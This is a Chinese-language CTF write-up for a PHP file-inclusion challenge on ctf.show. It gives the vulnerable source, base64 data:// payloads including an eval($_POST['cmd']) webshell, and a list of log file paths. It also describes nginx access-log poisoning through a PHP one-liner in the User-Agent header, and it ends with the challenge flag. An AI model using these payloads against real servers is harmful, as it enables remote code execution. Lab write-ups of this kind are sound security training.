观察:
访问实例,可以看到一串PHP代码,这是一道PHP审计题。
主网址:
http://98f0a5bb-0d07-4b2f-9b81-2aa83de8b76a.chall.ctf.show/
源码:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
分析:
由isset检测到"$ _GET[]"变量,而后将其存入到$file当中,
紧接着利用 preg_match()进行正则搜索“php”,“/i”是对大小写不敏感的标记
die(“error”)当搜索到"php"时就会直接退出脚本,并输出“error”。
当不包含"php"字符串时,进行文件包含,因此要通过某种方式绕过“php”这一字符串。
过程:
1.伪协议data://
首先构造一个data://伪协议
//为了避免过滤’php‘字符串,将php代码转码为base64.
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg== //扫描目录
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4= //小马
结果
说明php.ini的allow_url_include = off
想起了日志文件包含漏洞:
2.日志包含
总结一波日志位置:
nginx
- /etc/passwd
- /usr/local/var/log/nginx/access.log
- /var/log/nginx/access.log
- /var/logdata/nginx/access.log
- /var/log/nginx/error.log
apache:
- /var/log/apache2/error.log
首先用Burp发送表单可以看到web服务器是Ubuntu下的nginx服务器
利用url绕过正则函数,将日志包含在response带回的data中
?file=/var/log/nginx/access.log
可以正常访问。
理想思路:
通过向日志中传递小马,将小马包含在日志当中,连接蚁剑
但是发现URL当中传递的数据会被URL编码encode
实际操作:
让我们来观察一下一条access记录的形式
[15/Aug/2020:05:26:03 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"
172.2.0.20 - -
[15/Aug/2020:04:58:13 +0000] "GET /?file=data://text/plain,%3C?php%20system(%27ls%27);%20?%3E HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"
包含了Date(在Response中,无法人为控制),Head(会被PHP代码拦截),UA头(可行)
我们发现UA头中存在的信息不会被PHP代码检测,而且还可以防止被base64编码。
所以我们选择用UA头传递我们的php小马
<?php @eval($_POST['cmd']); ?>
<? @eval($_POST['cmd']); ?>
返回的Response中并没有看到我们上传的php代码,这是因为在Response向我们传回html页面信息时,web端的解析器会将这段代码解析,而我们这段代码没有输出任何东西,因此好像是没有上传成功一样。
我们直接通过蚁剑查看access.log就可以看到
假设我们上传的UA头为
此时就可以在页面看到echo的结果
回归正题:
flag
flag{844042b1-e1e2-47ba-b40f-3048cd85c660}